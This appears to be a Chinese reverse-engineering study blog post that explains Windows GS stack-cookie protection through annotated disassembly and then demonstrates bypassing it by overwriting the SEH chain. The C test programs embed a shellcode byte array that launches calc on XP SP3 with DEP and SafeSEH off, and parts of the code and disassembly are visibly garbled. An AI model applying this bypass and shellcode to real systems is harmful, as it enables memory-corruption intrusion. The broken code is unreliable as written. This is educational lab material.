逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试
GS简介:
Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。
GS原理:
下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。
C代码:
#include "stdafx.h" #include<stdio.h> #include<string.h> char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; void overflow(); int main() { overflow(); printf("fuction returned"); ; } void overflow() { ]; memcpy(output, name,sizeof(name)); ;i<&&output[i];i++) printf("\\0x%x",output[i]); }
编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。
用Olldbg打开,如下图:
系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。
大体流程就是:
- 程序启动时,读取.data节的第一个dword。
- 以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
- 把加密后的种子再写入.data节的第一个dword。
- 函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
- 函数主体正常执行。
- 函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。
Asm代码:
① 计算随机种子。
push ebp 004016E5 |. 8BEC mov ebp, esp mov eax, dword ptr [__security_cookie] //取exe地址00403000处的第一个DWORD到eax。 F8 ], //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。 FC ], //同上。 push ebx //备份ebx,返回时恢复。 push edi //备份edi,返回时恢复。 004016F9 |. BF 4EE640BB mov edi, BB40E64E //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。 004016FE |. 3BC7 cmp eax, edi //判断eax和edi是否相等。 |. BB 0000FFFF mov ebx, FFFF0000 //ebx赋值为FFFF0000。 |. //如果eax和edi相等则跳转。 |. 85C3 test ebx, eax |. 0040170B |. F7D0 not eax mov dword ptr [__security_cookie_complement], eax |. EB |> push esi //备份esi,返回时用来恢复。 |. 8D45 F8 ] //取得filetime结构体地址。 |. push eax ; //pFileTime入栈。 |. FF15 call dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>] ; //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。 ] //取得系统时间的高4字节。 |. F8 ] //系统时间高4字节与低4字节进行异或,结果存入esi。 |. FF15 call dword ptr [<&KERNEL32.GetCurrentProcessId>] //调用GetCurrentProcessId取得当前进行ID,存入eax。 0040172B |. 33F0 xor esi, eax //进程ID和前面的esi进行异或,结果存入esi。 call dword ptr [<&KERNEL32.GetCurrentThreadId>] ; //获取当前线程ID,存入eax。 |. 33F0 xor esi, eax //线程ID和前面的esi进行异或,结果存入esi。 |. FF15 call dword ptr [<&KERNEL32.GetTickCount>] //获取系统启动至今的微秒数,存入eax。 0040173B |. 33F0 xor esi, eax //系统启动至今微秒数和前面的esi进行异或,结果存入esi。 ] //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。 |. push eax // lpPerformanceCount参数入栈。 |. FF15 0C204000 call dword ptr [<&KERNEL32.QueryPerformanceCounter>] //调用性能计数器,其实还是个高精度时间戳。 |. 8B45 F4 mov eax, dword ptr [ebp-C] //把时间戳高4位赋给eax。 F0 ] //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。 0040174D |. 33F0 xor esi, eax //时间戳异或结果和esi进行异或计算,结果存入esi。 0040174F |. 3BF7 cmp esi, edi //比较esi和edi是否相同,防止出现碰撞。 |. jnz short 0040175A //不相等的话,跳转。 |. BE 4FE640BB mov esi, BB40E64F //相等的话, |. EB 0040175A |> 85F3 test ebx, esi //比较esi和ebx是否相同。 //不相同的话,加密结束,写入。 0040175E |. 8BC6 mov eax, esi |. C1E0 |. 0BF0 or esi, eax |> mov dword ptr [__security_cookie], esi //把加密后的canary放入.data区首的4个字节。 0040176B |. F7D6 not esi //密文取反。 mov dword ptr [__security_cookie_complement], esi //密文取反写入.data取的第5到第8个字节,紧挨着canary。 |. 5E pop esi //恢复环境。 |> 5F pop edi //恢复环境。 |. 5B pop ebx //恢复环境。 |. C9 leave //恢复环境。与Mov esp,ebp+pop ebp等效。 \. C3 retn //函数返回。
② Canary写入栈帧:
>/$ 83EC 0C sub esp, 0C //函数开头,开辟栈空间。 |. A1 mov eax, dword ptr [__security_cookie] //把加密后的种子赋给eax。 |. 33C4 xor eax, esp //eax和当前esp进行异或计算。 ], eax //把异或后得到的canary写入栈帧。
③ GS校验:
] //把canary赋给ecx。 |. 33CC xor ecx, esp //ecx和esp异或。 cmp ecx, dword ptr [__security_cookie] //比较ecx和.data区的加密种子是否相同。 . //不相同则校验失败,跳转失败处理分支。 . F3: prefix rep: //相同则返回原函数。 . C3 retn //相同则返回原函数。 > E9 AD020000 jmp __report_gsfailure //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。
GS绕过:
了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。
其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。
下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。
C代码:
// GSBYPASS.cpp : 定义控制台应用程序的入口点。 #include "stdafx.h" #include<stdio.h> #include<string.h> char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90}; void overflow(); int main() { overflow(); printf("fuction returned"); ; } void overflow() { ]; memcpy(output, name,sizeof(name)); ;i<&&output[i];i++) printf("\\0x%x",output[i]); }
编译,运行,成功绕过:
逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试的更多相关文章
- gcc栈溢出保护机制:stack-protector
关键词:stack-protector.stack-protector-strong.stack-protector-all等等. 1. gcc栈保护机制stack-protector简介 gcc提供 ...
- SonarQube学习(四)- 使用Jenkins集成JaCoCo和SonarQube检查代码测试覆盖率
一.前言 我始终觉得学习这件事是自己的事,自己会了就是会了,无关于他人,但有点小伤感的是现在的阅读量开始走低. 二.准备 安装Jenkins,请移步<Docker学习(二)- Docker 安装 ...
- Python爬虫学习:四、headers和data的获取
之前在学习爬虫时,偶尔会遇到一些问题是有些网站需要登录后才能爬取内容,有的网站会识别是否是由浏览器发出的请求. 一.headers的获取 就以博客园的首页为例:http://www.cnblogs.c ...
- java之jvm学习笔记四(安全管理器)
java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...
- Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置
Java Web学习(四)Eclipse与Maven整合配置 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6.3) 二. ...
- Java Web入门学习(四)Eclipse与Maven、Tomcat整合配置 (重整版并解决问题)
Java Web学习(四)Eclipse与Maven整合配置 (重整版) 一.准备工作 1.Tomcat 8.5.15 2.Maven3.5 3.Eclipse Neon.3 Release (4.6 ...
- 【数据库】3.0 MySQL入门学习(三)——Windows系统环境下MySQL安装
1.0 我的操作系统是window10 专业版 64位.,不过至少windows7以上系统都是一样的. 关于MySQL如何下载,请参考博文: [数据库]2.0 如何获得MySQL以及MySQL安装 h ...
- SODBASE CEP学习(四)续:类SQL语言EPL与Storm或jStorm集成-使用分布式缓存
流式计算在一些情况下会用到分布式缓存,从而实现(1)想把统计或计算结果保存在分布缓存中.供其他模块或其他系统调用. (2)某一滑动时间窗体上计数.比如实时统计1小时每一个Cookie的訪问量.实时统计 ...
- kvm虚拟化学习笔记(四)之kvm虚拟机日常管理与配置
KVM虚拟化学习笔记系列文章列表----------------------------------------kvm虚拟化学习笔记(一)之kvm虚拟化环境安装http://koumm.blog.51 ...
随机推荐
- .a静态库构架合成
一.如果类库生成的构架和对应设备的构架不一致,会链接报错 如果项目中使用类库后,遇到形似Undefined symbols for architecture x86_64(x86_64架构下有未定义的 ...
- FrozenUI - 专注于移动web的UI框架
http://frozenui.github.io/ 移动框架 重磅出击 简单易用,轻量快捷,为移动端服务的前端框架 开始使用 立即下载
- linux 安装mysql数据库——tar.gz包解压安装法
mysql数据库有多种安装方式,本文只介绍在Linux服务器上的tar.gz包解压安装法, 先通过mysql官网或者网络资源下载 mysql-5.7.3-m13-linux-glibc2.5-x86_ ...
- zabbix完整安装
一.nginx安装 1.必要软件准备: 为了支持rewrite功能,我们需要安装pcre: yum install pcre-* 需要ssl的支持,如果不需要ssl支持,请跳过这一步: yum ins ...
- 用nginx一分钟实现文件服务器
在局域网内和同事共享文件的好方法 1 安装nginx sudo apt-get install nginx 2 创建conf文件 sudo gedit /etc/nginx/conf.d/file_s ...
- ubuntu下修改键位
尴尬的背景: 服役5年的笔记本,最近键盘失灵,部分键位彻底失去响应.最蛋疼的是左右方向键都不能用了 ○| ̄|_ 解决方案是,通过xmodmap命令,用其他相对鸡肋些的键位替代方向键. 1 查看各个键位 ...
- Bluemix中国版体验(一)
很高兴终于拿到了中国版Bluemix的账号!中国版的Bluemix是由世纪互联运营的,这也是世纪互联继Microsoft Azure,Office 365之后运营的又一个国际一线大品牌的云服务. 中国 ...
- 安全测试 - 抓包工具BurpSuite
Brup SuiteBurpSuite是用于攻击web应用程序的集成平台.它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程.所有的工具都共享一个能处理并显示HTTP消息,持久 ...
- Git开发分支管理
远程仓库有master和dev分支的情况 1. 克隆代码 git clone https://somewhere.com/master-dev.git 2. 查看所有分支 git branch --a ...
- dubbox 增加google-gprc/protobuf支持
好久没写东西了,今年实在太忙,基本都在搞业务开发,晚上来补一篇,作为今年的收官博客.google-rpc 正式发布以来,受到了不少人的关注,这么知名的rpc框架,不集成到dubbox中有点说不过去. ...